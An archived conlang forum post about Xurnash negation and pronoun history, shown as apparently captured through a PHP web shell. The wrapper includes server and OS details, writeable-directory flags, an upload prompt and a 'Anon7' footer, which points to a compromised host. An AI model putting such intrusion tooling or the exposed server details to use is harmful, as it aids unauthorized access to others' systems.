KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/markrose/board/messages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/markrose/board/messages/257.html
<html><head><title>Losu??</title></head>

<body bgcolor="#FFFFFF">

<center><h1><!--title-->Losu??
</h1></center>

<hr size=7 width=75>
<p>Posted by <b><!--poster-->Christopher O'Regan</b>
on <!--date-->00:28 11/24/01
<p>In reply to: <a href="254.html">Losu??</a> posted by Christopher O'Regan</b>  on 16:54 11/22/01


<!-- PUT MESSAGE HERE -->
<p>
Ah, so Xurnash uses the old "negative verb" method of negation. I was wondering where the negative in that sentence was . . .
 
 <p>So, re <b>ri</b>, (*cough* sorry.) Isn't this also the Xurnash for "thee"? On the board previously you tranlated "I love you" as <b>ri mavu</b> in Xurnash. This struck me as surprising: why wouldn't it be a derivative of <b>ej</b>?
  
  <p>Cheers,
  <br>--Rhisto Filipei, "Ahuenaivisanom".



<hr><i>Mark responds:
<p>1. Xurn&aacute;sh has four negative verbs (in Axunashin the negative is
a mood on every verb).  The negative of <b>ize</b> has been reinterpreted
as a negative auxiliary <b>shache</b>.

<p>2. Ah, Xurnese pronouns... it's a long story.  The nominative forms
for 'thou' are m. <b>yes</b>, f. <b>yec</b>, which derive from <b>rir
ezichou</b> 'your greatness'.  The accusative "should have been" <b>ej</b>,
but <b>ri</b> was used on analogy with the other pronominal accusatives
(e.g. <b>i</b> 'me', <b>ti</b> 'us', <b>ki</b> 'them').

</i>

<hr><center>
<i>To make a reply, or see replies, see <a href="../">the index page</a>.</i>
</center>

<hr>

<!-- For index page:
<li><a href="messages/257.html">Losu??</a> - 
    <b>Christopher O'Regan</b>
 <i>00:28 11/24/01</i>
-->

</body></html>

Anon7 - 2021